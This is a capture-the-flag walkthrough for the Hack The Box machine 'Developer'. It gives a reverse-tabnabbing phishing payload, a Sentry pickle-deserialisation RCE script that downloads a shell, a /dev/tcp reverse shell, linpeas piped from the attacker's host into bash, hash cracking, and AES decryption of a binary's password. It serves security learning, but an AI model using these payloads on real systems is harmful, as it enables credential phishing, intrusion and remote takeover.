Home Developer HTB
Post
Cancel

Developer HTB

[Pasted image 20210825102957.png]

A tricky machine where we had to phish the administrator to obtain the credentials using tabnabbing technique. Next exploiting sentry application to execute command injection. Third Stage is to reverse the binary and decode the message to obtain a password.

Stage 1: TabNabbing Attack

Stage 2: Sentry RCE

Stage 3: 64 bit ELF Reverse Engineering

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Nmap scan report for 10.129.219.217
Host is up (0.012s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 36:aa:93:e4:a4:56:ab:39:86:66:bf:3e:09:fa:eb:e0 (RSA)
|   256 11:fb:e9:89:2e:4b:66:40:7b:6b:01:cf:f2:f2:ee:ef (ECDSA)
|_  256 77:56:93:6e:5f:ea:e2:ad:b0:2e:cf:23:9d:66:ed:12 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://developer.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
Network Distance: 2 hops
Service Info: Host: developer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.96 seconds

We have a domain from the nmap scan.

developer.htb

Enumeration

Port 80

[Pasted image 20210825105105.png]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
____ $ffuf -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://developer.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://developer.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

contact                 [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 195ms]
media                   [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 179ms]
profile                 [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 200ms]
admin                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 185ms]
static                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 181ms]
fileadmin               [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 183ms]
dashboard               [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 184ms]

I ran gobuster and ffuf but nothing interesting could be observed other than the /admin route.

Browsing through the site we shall see login and signup options for the user. Let’s register ourself and sign in.

[Pasted image 20210825105407.png]

After logging in we see it’s CTF platform which has few challenges.

[Pasted image 20210825105433.png]

Let’s pickup a challenge and solve it.

[Pasted image 20210825105611.png]

[Pasted image 20210825132404.png]

Its an xlsx file. Let’s not try to open it directly as we don’t know what it contains. So lets do a reverse engineering.

[Pasted image 20210825132538.png]

Let’s try to find a flag submit.

[Pasted image 20210825132631.png]

Observations After Registration

I observed the only flag that the admin account had pwn’d was a forensic. Since this was a simple xlsx file, against it and obtained the flag: DHTB{H1dD3N_C0LuMn5_FtW}. Submission of the flag returned the ability to submit a writeup which was tabnabbing.

Tab Nabbing

From our enumeration, we already know we can cancel out session hijacking and clickjacking from our exploits as http only flag and cors are enabled on the browser.

We managed to observe some new information but without credentials we had to go back and think of a way to steal the credentails. I ran a tcpdump -s 0 port http -i tun0 -w developer.pcap and pointed the writeup to http://10.10.16.3/writeup to observe the request.

[Pasted image 20210825133437.png]

[Pasted image 20210825133520.png]

As expected, nothing happens. We observe a simple GET request and see our writeup get removed after 2-5 seconds of the request. This tells us that is looking for something on the page.

On doing some research on what to exploit on the page i found a link with target="_blank" but there rel noopener field which confirms a reverse tabnabbing exploit.

Observe below how we exploited this tabnabbing to obtain credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
  <head></head>
  <script>
  if (window.opener) window.opener.parent.location.replace('http://10.10.16.3/login.html');
  if (window.parent != window) window.parent.location.replace('http://10.10.16.3/login.html');
  </script>
  <body>
    <a href='http://10.10.16.3/index.html' target='_blank' id='somettab'>
      <script>
        (() => {
            document.getElementById('somettab').click();
            window.location = 'http://10.10.16.3/login.html';
        })();
      </script>
  </body>
</html>

How this exploit work?

When admin open the walkthrough page, he will displayed a blank page in a new tab and the parent from which the link was opened shall be redirected to our phishing page where we trick the administrator that he has logged out. So he shall login again with his credentials which now sent to our system.

[Pasted image 20210825134534.png]

After submitting, now we wait for the administrator to open our link and tricking him to login again.

[Pasted image 20210825135048.png]

[Pasted image 20210825135135.png]

We obtain the credentials: admin:SuperSecurePassword@HTB2021

Logging into the dashboard, we find a site our previous ffuf did not pick up and add it to our /etc/hosts file and navigate to the Sentry software.

[Pasted image 20210825135223.png]

[Pasted image 20210825135301.png]

[Pasted image 20210825135325.png]

We have a new domain developer-sentry.developer.htb.

Sentry < 8.0.2 RCE

[Pasted image 20210825135416.png]

Create an account and we can view the members. Upon attempting both users with the credentials we obtained, we get a hit on Jacob. We can observe at the bottom left a version number of Sentry, 8.0.0

[Pasted image 20210825135917.png]

[Pasted image 20210825140038.png]

We are on jacob on sentry monitoring system as the user used same password again which is common for most of the system administrators.

Upon doing some research with the version of Sentry, found an exploit on Pickle deserialisation effecting versions from 8.0.2 and below.

https://doc.lagout.org/Others/synacktiv_advisory_sentry_pickle.pdf https://blog.scrt.ch/2018/08/24/remote-code-execution-on-a-facebook-server/

The exploit is similar to an RCE found on facebook server.

Both solutions exploit the vulnerbility in the Pickle deserialisation.

1
2
3
4
5
6
7
8
9
10
11
12
13
from cPickle import dumps
import subprocess
from base64 import b64encode
from zlib import compress
from shlex import split
class PickleExploit(object):
        def __init__(self, command_line):
        
                self.args = split(command_line)
        def __reduce__(self):
                return (subprocess.Popen, (self.args,))
print b64encode(compress(dumps(PickleExploit('wget http://10.10.16.3/shell.sh'))))
print b64encode(compress(dumps(PickleExploit('bash shell.sh'))))
1
2
# shell.sh
sh -i >& /dev/tcp/10.10.16.3/9001 0>&1

[Pasted image 20210825140811.png]

Request on our machine.

[Pasted image 20210825140833.png]

[Pasted image 20210825140900.png]

[Pasted image 20210825140934.png]

Priv Esc

[Pasted image 20210825141804.png]

After checking the /etc/passwd to see what users are on the box, we see Karl who has an account on Sentry we could not access. Manual enumeration did not help me find the credentials for the sentry DB as the CTF platform DB miss-matched credentials so. I used curl http://<my-ip>/linpeas.sh|bash which found the password: SentryPassword2021

We can now use psql and \dt to view the tables. We now dump the entire contents and use hashmap against Karl.

Linpeas Configuration Tables Karl

1
pbkdf2_sha256$12000$wP0L4ePlxSjD$TTeyAB7uJ9uQprnr+mgRb8ZL8othIs32aGmqahx1rGI=

Hashcat Cracked

We get: karl:insaneclownposse

Reversing ELF-64

Karl Sudo

[Pasted image 20210825142605.png]

It’s a 64 bit binary file on executing it prompts for a password

[Pasted image 20210825142706.png]

We need to find the password for prompting us to next step.

I used IDA pro demo version to reverse the binary.

[Pasted image 20210825142955.png]

authentication::main::h453271f02403abaf is an authentication function being called in the main function.

[Pasted image 20210825144041.png]

Omg is this huge graph view of the code. Let’s decompile and go through the code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
void authentication::main::h453271f02403abaf()
{
  u8 *v0; // rax
  __m128i *v1; // r15
  usize v2; // rdx
  usize len; // r14
  __int64 v4; // rbx
  std::path::Path *v5; // r14
  std::ffi::os_str::OsStr *v6; // rax
  std::ffi::os_str::OsStr *v7; // rax
  core::option::Option<&[core::fmt::rt::v1::Argument]> v8; // xmm0
  _str v9; // rdi
  core::fmt::_Debug v10; // rdx
  core::alloc::layout::Layout v11; // rdi
  _str v12; // rdi
  _str v13; // rdi
  core::fmt::_Debug v14; // rdx
  _str v15; // rdi
  core::fmt::_Debug v16; // rdx
  _str v17; // rdi
  core::fmt::Arguments args; // [rsp+0h] [rbp-278h] BYREF
  std::sys::unix::fd::FileDesc v19; // [rsp+30h] [rbp-248h] BYREF
  void *ptr; // [rsp+40h] [rbp-238h] BYREF
  __int128 v21; // [rsp+48h] [rbp-230h]
  alloc::string::String buf; // [rsp+58h] [rbp-220h] BYREF
  alloc::string::String v23; // [rsp+70h] [rbp-208h] BYREF
  std::sys::unix::process::process_common::Command src; // [rsp+88h] [rbp-1F0h] BYREF
  std::path::Path *self[2]; // [rsp+140h] [rbp-138h]
  __int64 v26; // [rsp+150h] [rbp-128h]
  __int128 v27; // [rsp+160h] [rbp-118h] BYREF
  __int128 v28; // [rsp+170h] [rbp-108h] BYREF
  u8 *v29; // [rsp+188h] [rbp-F0h]
  __m128i si128; // [rsp+190h] [rbp-E8h]
  std::process::Command dest; // [rsp+1A0h] [rbp-D8h] BYREF

  std::io::stdio::_print::he89a42df6ab3cf66(args);
  src.program.inner.data_ptr = (u8 *)&off_5CA28;
  src.program.inner.length = 1LL;
  *(_QWORD *)src.args.buf.alloc.gap0 = 0LL;
  src.args.len = (usize)&expr;
  *(_QWORD *)src.argv.__0.buf.alloc.gap0 = 0LL;
  std::io::stdio::_print::he89a42df6ab3cf66(args);
  *(_QWORD *)buf.vec.buf.alloc.gap0 = 1LL;
  *(_OWORD *)&buf.vec.buf.cap = 0LL;
  *(std::io::stdio::Stdin *)args.fmt.gap0 = std::io::stdio::stdin::hc2cffb6c5a105a21();
  std::io::stdio::Stdin::read_line::h5588ba1257b0b8cc(
    (core::result::Result<usize,std::io::error::Error> *)&src,
    (std::io::stdio::Stdin *)&args.fmt,
    &buf);
  if ( LODWORD(src.program.inner.data_ptr) == 1 )
  {
    dest.inner.program = (std::ffi::c_str::CString)_mm_loadu_si128((const __m128i *)&src.program.inner.length);
    v9.data_ptr = (u8 *)&msg;
    v10.vtable = (usize (*)[3])&error;
    v10.pointer = (u8 *)&dest;
    v9.length = 21LL;
    core::result::unwrap_failed::h87affc05a8b0ab4b(v9, v10);
  }
  if ( buf.vec.len )
  {
    if ( buf.vec.len != 1 && *(char *)(*(_QWORD *)buf.vec.buf.alloc.gap0 + buf.vec.len - 1) < -64 )
    {
      v12.data_ptr = (u8 *)&expr;
      v12.length = 48LL;
      core::panicking::panic::hf07a79f510cbbe28(v12);
    }
    --buf.vec.len;
  }
  v27 = xmmword_4A030;
  v28 = xmmword_4A040;
  v0 = _rust_alloc(0x20uLL, 1uLL);
  if ( !v0 )
  {
    v11.size_ = 32LL;
    v11.align_.__0 = 1LL;
    alloc::alloc::handle_alloc_error::h42f533e7a939dec9(v11);
  }
  v1 = (__m128i *)v0;
  *(_OWORD *)v0 = xmmword_4A000;
  *((_OWORD *)v0 + 1) = xmmword_4A010;
  v29 = v0;
  si128 = _mm_load_si128((const __m128i *)&xmmword_4A020);
  args.pieces.data_ptr = (_str *)crypto::aes::ctr::h2e946f13694abc7d(0LL, &v27, 16LL, &v28, 16LL);
  args.pieces.length = v2;
  len = buf.vec.len;
  ptr = init;
  v21 = 0LL;
  alloc::raw_vec::RawVec$LT$T$C$A$GT$::reserve::he7b71bc27ab4fe50(&ptr, 0LL, buf.vec.len);
  v4 = *((_QWORD *)&v21 + 1);
  if ( len )
  {
    memset((char *)ptr + *((_QWORD *)&v21 + 1), 0, len);
    v4 += len;
    *((_QWORD *)&v21 + 1) = v4;
  }
  _$LT$alloc..boxed..Box$LT$dyn$u20$crypto..symmetriccipher..SynchronousStreamCipher$GT$$u20$as$u20$crypto..symmetriccipher..SynchronousStreamCipher$GT$::process::hf45a98c60671de4f(
    &args,
    *(_QWORD *)buf.vec.buf.alloc.gap0,
    buf.vec.len,
    ptr,
    v4);
  if ( *((_QWORD *)&v21 + 1) == 32LL
    && (ptr == v1
     || _mm_movemask_epi8(
          _mm_and_si128(
            _mm_cmpeq_epi8(_mm_loadu_si128((const __m128i *)ptr + 1), _mm_loadu_si128(v1 + 1)),
            _mm_cmpeq_epi8(_mm_loadu_si128((const __m128i *)ptr), _mm_loadu_si128(v1)))) == 0xFFFF) )
  {
    src.program.inner.data_ptr = (u8 *)&off_5C988;
    src.program.inner.length = 1LL;
    *(_QWORD *)src.args.buf.alloc.gap0 = 0LL;
    src.args.len = (usize)&expr;
    *(_QWORD *)src.argv.__0.buf.alloc.gap0 = 0LL;
    std::io::stdio::_print::he89a42df6ab3cf66(args);
    src.program.inner.data_ptr = (u8 *)&off_5C998;
    src.program.inner.length = 1LL;
    *(_QWORD *)src.args.buf.alloc.gap0 = 0LL;
    src.args.len = (usize)&expr;
    *(_QWORD *)src.argv.__0.buf.alloc.gap0 = 0LL;
    std::io::stdio::_print::he89a42df6ab3cf66(args);
    *(_QWORD *)v23.vec.buf.alloc.gap0 = 1LL;
    *(_OWORD *)&v23.vec.buf.cap = 0LL;
    *(std::io::stdio::Stdin *)args.fmt.gap0 = std::io::stdio::stdin::hc2cffb6c5a105a21();
    std::io::stdio::Stdin::read_line::h5588ba1257b0b8cc(
      (core::result::Result<usize,std::io::error::Error> *)&src,
      (std::io::stdio::Stdin *)&args.fmt,
      &v23);
    if ( LODWORD(src.program.inner.data_ptr) == 1 )
    {
      dest.inner.program = (std::ffi::c_str::CString)_mm_loadu_si128((const __m128i *)&src.program.inner.length);
      v13.data_ptr = (u8 *)&msg;
      v14.vtable = (usize (*)[3])&error;
      v14.pointer = (u8 *)&dest;
      v13.length = 21LL;
      core::result::unwrap_failed::h87affc05a8b0ab4b(v13, v14);
    }
    if ( v23.vec.len )
    {
      if ( v23.vec.len != 1 && *(char *)(*(_QWORD *)v23.vec.buf.alloc.gap0 + v23.vec.len - 1) < -64 )
      {
        v17.data_ptr = (u8 *)&expr;
        v17.length = 48LL;
        core::panicking::panic::hf07a79f510cbbe28(v17);
      }
      --v23.vec.len;
    }
    *(_QWORD *)args.fmt.gap0 = &v23;
    *(_QWORD *)&args.fmt.gap0[8] = &_$LT$alloc..string..String$u20$as$u20$core..fmt..Display$GT$::fmt::h490408f90bab08d9;
    src.program.inner.data_ptr = (u8 *)&off_5C9C0;
    src.program.inner.length = 2LL;
    *(_QWORD *)src.args.buf.alloc.gap0 = 0LL;
    src.args.len = (usize)&args.fmt;
    *(_QWORD *)src.argv.__0.buf.alloc.gap0 = 1LL;
    alloc::fmt::format::h7300eb72625baa19((alloc::string::String *)&dest, args);
    *(__m128i *)self = _mm_loadu_si128((const __m128i *)&dest);
    v26 = *(_QWORD *)dest.inner.args.buf.alloc.gap0;
    std::sys::unix::process::process_common::Command::new::h04bbc45d9ff37ff2(&src, (std::ffi::os_str::OsStr *)&program);
    memcpy(&dest, &src, sizeof(dest));
    v5 = self[0];
    v6 = (std::ffi::os_str::OsStr *)_$LT$std..ffi..os_str..OsStr$u20$as$u20$core..convert..AsRef$LT$std..ffi..os_str..OsStr$GT$$GT$::as_ref::hbdf7b88a26c777f5((std::path::Path *)&::self);
    std::sys::unix::process::process_common::Command::arg::h7659691a7f38b356(&dest.inner, v6);
    v7 = (std::ffi::os_str::OsStr *)_$LT$std..ffi..os_str..OsStr$u20$as$u20$core..convert..AsRef$LT$std..ffi..os_str..OsStr$GT$$GT$::as_ref::hbdf7b88a26c777f5(v5);
    std::sys::unix::process::process_common::Command::arg::h7659691a7f38b356(&dest.inner, v7);
    std::process::Command::spawn::h2238bf1cbcf5d7f3(
      (core::result::Result<std::process::Child,std::io::error::Error> *)&src,
      &dest);
    if ( LODWORD(src.program.inner.data_ptr) == 1 )
    {
      args.fmt = (core::option::Option<&[core::fmt::rt::v1::Argument]>)_mm_loadu_si128((const __m128i *)&src.program.inner.length);
      v15.data_ptr = (u8 *)&byte_4A142;
      v16.vtable = (usize (*)[3])&error;
      v16.pointer = (u8 *)&args.fmt;
      v15.length = 30LL;
      core::result::unwrap_failed::h87affc05a8b0ab4b(v15, v16);
    }
    v19.fd = HIDWORD(src.args.len);
    v8 = (core::option::Option<&[core::fmt::rt::v1::Argument]>)_mm_loadu_si128((const __m128i *)((char *)&src.program.inner.data_ptr
                                                                                               + 4));
    args.args = (__core::fmt::ArgumentV1_)_mm_loadu_si128((const __m128i *)(&src.args.buf.alloc + 4));
    args.fmt = v8;
    if ( *(_DWORD *)&v8.gap0[12] )
      _$LT$std..sys..unix..fd..FileDesc$u20$as$u20$core..ops..drop..Drop$GT$::drop::hc99fbefbcf345fb9((std::sys::unix::fd::FileDesc *)&args.args);
    if ( HIDWORD(args.args.data_ptr) )
      _$LT$std..sys..unix..fd..FileDesc$u20$as$u20$core..ops..drop..Drop$GT$::drop::hc99fbefbcf345fb9((std::sys::unix::fd::FileDesc *)&args.args.length);
    if ( HIDWORD(args.args.length) )
      _$LT$std..sys..unix..fd..FileDesc$u20$as$u20$core..ops..drop..Drop$GT$::drop::hc99fbefbcf345fb9(&v19);
    core::ptr::drop_in_place::h749e1a651f8a21b4(&dest);
    src.program.inner.data_ptr = (u8 *)&off_5C9F8;
    src.program.inner.length = 1LL;
    *(_QWORD *)src.args.buf.alloc.gap0 = 0LL;
    src.args.len = (usize)&expr;
    *(_QWORD *)src.argv.__0.buf.alloc.gap0 = 0LL;
    std::io::stdio::_print::he89a42df6ab3cf66(args);
    if ( self[1] )
      _rust_dealloc(v5);
    if ( v23.vec.buf.cap )
      _rust_dealloc(*(void **)v23.vec.buf.alloc.gap0);
  }
  else
  {
    src.program.inner.data_ptr = (u8 *)&off_5CA08;
    src.program.inner.length = 1LL;
    *(_QWORD *)src.args.buf.alloc.gap0 = 0LL;
    src.args.len = (usize)&expr;
    *(_QWORD *)src.argv.__0.buf.alloc.gap0 = 0LL;
    std::io::stdio::_print::he89a42df6ab3cf66(args);
  }
  if ( (_QWORD)v21 )
    _rust_dealloc(ptr);
  (*(void (__fastcall **)(_str *))args.pieces.length)(args.pieces.data_ptr);
  if ( *(_QWORD *)(args.pieces.length + 8) )
    _rust_dealloc(args.pieces.data_ptr);
  _rust_dealloc(v1);
  if ( buf.vec.buf.cap )
    _rust_dealloc(*(void **)buf.vec.buf.alloc.gap0);
}

Breaking the code, we found the paramters passed to a crypto aes-ctr -128 function wth endianess so we need to reverse the bytes.

eg : AB CD EF -> EF CD AB

AES

We then see the 16 byte key, IV and 32 byte Cipher being reversed.

1
2
3
INPUT 23205CFC58FD8078CA976A80F0251BFE + 2C15279F3AAFC0EBFAB502E5D0DBA26C
KEY 5F4BE3DD4209E6191795C3432E8A3h
IV 12006DC5598A79A95D2D9E3591F76h

Data

We can now reverse the byte order and decrypt it. I have written small which automates the process and prints the results accordingly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import binascii
import os
from Crypto.Cipher import AES
from Crypto.Util import Counter

C1 = "23205CFC58FD8078CA976A80F0251BFE"
C2 = "2C15279F3AAFC0EBFAB502E5D0DBA26C"
KEY = "D5F5F4BE3DD4209E6191795C3432E8A3"
IV = "6A812006DC5598A79A95D2D9E3591F76"

def reverse(data):
    n = 2
    data = [data[i:i+n] for i in range(0, len(data), n)]
    data = "".join(data[::-1])
    return data

# if len(C1)%2 == 0:
#     print(reverse(C1))
# else:
#     print("bytes are not properly set")

INPUT = (reverse(C1) + reverse (C2)).decode('hex')
KEY = reverse(KEY).decode('hex')
IV = reverse(IV).decode('hex')

print("INPUT: ", INPUT)
print("KEY", KEY)
print("IV", IV)

def int_of_string(s):
    return int(binascii.hexlify(s), 16)

def decrypt_message(key, IV, ciphertext):    
    ctr = Counter.new(128, initial_value=int_of_string(IV))
    aes = AES.new(key, AES.MODE_CTR, counter=ctr)
    return aes.decrypt(ciphertext)

print(binascii.unhexlify(decrypt_message(KEY, IV, INPUT).encode('hex')))

[Pasted image 20210825144857.png]

Output: RustForSecurity@Developer@2021:)

Obtaining Root

[Pasted image 20210825145528.png]

We can now SSH using our private key into root.

[Pasted image 20210825145631.png]

We are root on the machine.

This post is licensed under CC BY 4.0 by the author.